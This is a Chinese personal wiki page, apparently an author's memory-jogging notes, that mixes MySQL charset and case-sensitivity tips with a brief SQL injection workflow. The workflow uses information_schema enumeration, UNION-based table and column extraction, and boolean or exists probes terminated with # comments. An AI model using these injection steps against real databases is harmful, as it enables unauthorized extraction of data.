MySQL注入经常用到的:修订间差异

来自三线的随记
(创建页面,内容为“太久没玩这个,突然失忆 同理,开始随记,开始回忆 百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。 === 函数 === user() database(…”)
 
无编辑摘要
 
(未显示同一用户的7个中间版本)
第5行: 第5行:
百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。
百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。


=== 函数 ===
===函数===
user()
user()


第16行: 第16行:
<nowiki>*</nowiki>extract 提取
<nowiki>*</nowiki>extract 提取


=== 变量 ===
concat
 
===变量===
@@version
@@version


=== 语句 ===
===语句===
exists
exists


第26行: 第28行:
join
join


=== 大小写敏感[Linux] ===
===大小写敏感[Linux]===
Database and table names are case sensitive
Database and table names are case sensitive


第39行: 第41行:
使用mysql 的<code>BINARY</code> 关键字使搜索区分大小写 <code>select * from tb_user where BINARY username ='user';</code>
使用mysql 的<code>BINARY</code> 关键字使搜索区分大小写 <code>select * from tb_user where BINARY username ='user';</code>


=== char set 和 collation ===
===char set 和 collation===
字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ]
字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ]


=== 客户端乱码排错小思路 ===
===客户端乱码排错小思路===
show variables like '%char%';
show variables like '%char%';


=== MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ] ===
set character_set_results="utf8";
 
set character_set_client="utf8";
 
===MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ]===
mysql --default-character-set=utf8 -u root -p  
mysql --default-character-set=utf8 -u root -p  


=== 查看数据库表的信息 ===
===查看数据库表的信息===
show table status from information_schema like 'TABLES'; [大小写敏感]
show table status from information_schema like 'TABLES'; [大小写敏感]


show full columns from TABLES; [大小写不敏感]
show create database information_schema;
 
show create table test;
 
show full columns from table_name;
↑返回结果包括↓
[Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment]


[[分类:Mysql]]
[[分类:Mysql]]
===低端注入流程===
1. get库名,用户
<code>select database()</code>
<code>select user()</code>
2. get表名
<code>select table_name from information_schema.tables where table_schema='table_name' #</code>
3. get字段名
<code>select column_name from information_schema.columns where table_name='table_name'</code>
<code>***** union (select table_name, column_name, 1 from information_schema.columns where table_name='secret_table');#</code>
<code> select *** from *** where ****=** and 0 <= (select COUNT(*) from table_name ) # </code>
<code> select *** from *** where ****=** and exists ( select * from table_name ) # </code>
4. 开搞
===遇到纯数字的字段名记得用反单引号围起来[tab键上面]===
select `1` from table_name;

2020年5月27日 (三) 19:31的最新版本

太久没玩这个,突然失忆

同理,开始随记,开始回忆

百度百度 + 谷歌谷歌 + 博客园 + CSDN + 。。。

函数

user()

database()

updatexml()

extractvalue()

*extract 提取

concat

变量

@@version

语句

exists

union

join

大小写敏感[Linux]

Database and table names are case sensitive

库名和表名大小写敏感

表的别名是严格区分大小写的

列名与列的别名在所有的情况下均是大小写不敏感

字段内容默认情况下是大小写不敏感的[ 具体看排序规则吧 ]

使用mysql 的BINARY 关键字使搜索区分大小写 select * from tb_user where BINARY username ='user';

char set 和 collation

字符集 和 排序规则[ 跟编码 + 数据提取大小写等等有关 ]

客户端乱码排错小思路

show variables like '%char%';

set character_set_results="utf8";

set character_set_client="utf8";

MySQL命令行控制台/shell设置通讯编码[ 官方描述那个工具叫做 Welcome to the MySQL monitor ]

mysql --default-character-set=utf8 -u root -p

查看数据库表的信息

show table status from information_schema like 'TABLES'; [大小写敏感]

show create database information_schema;

show create table test;

show full columns from table_name; ↑返回结果包括↓ [Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment]

低端注入流程

1. get库名,用户

select database()

select user()

2. get表名

select table_name from information_schema.tables where table_schema='table_name' #

3. get字段名

select column_name from information_schema.columns where table_name='table_name'

***** union (select table_name, column_name, 1 from information_schema.columns where table_name='secret_table');#

select *** from *** where ****=** and 0 <= (select COUNT(*) from table_name ) #

select *** from *** where ****=** and exists ( select * from table_name ) #


4. 开搞

遇到纯数字的字段名记得用反单引号围起来[tab键上面]

select `1` from table_name;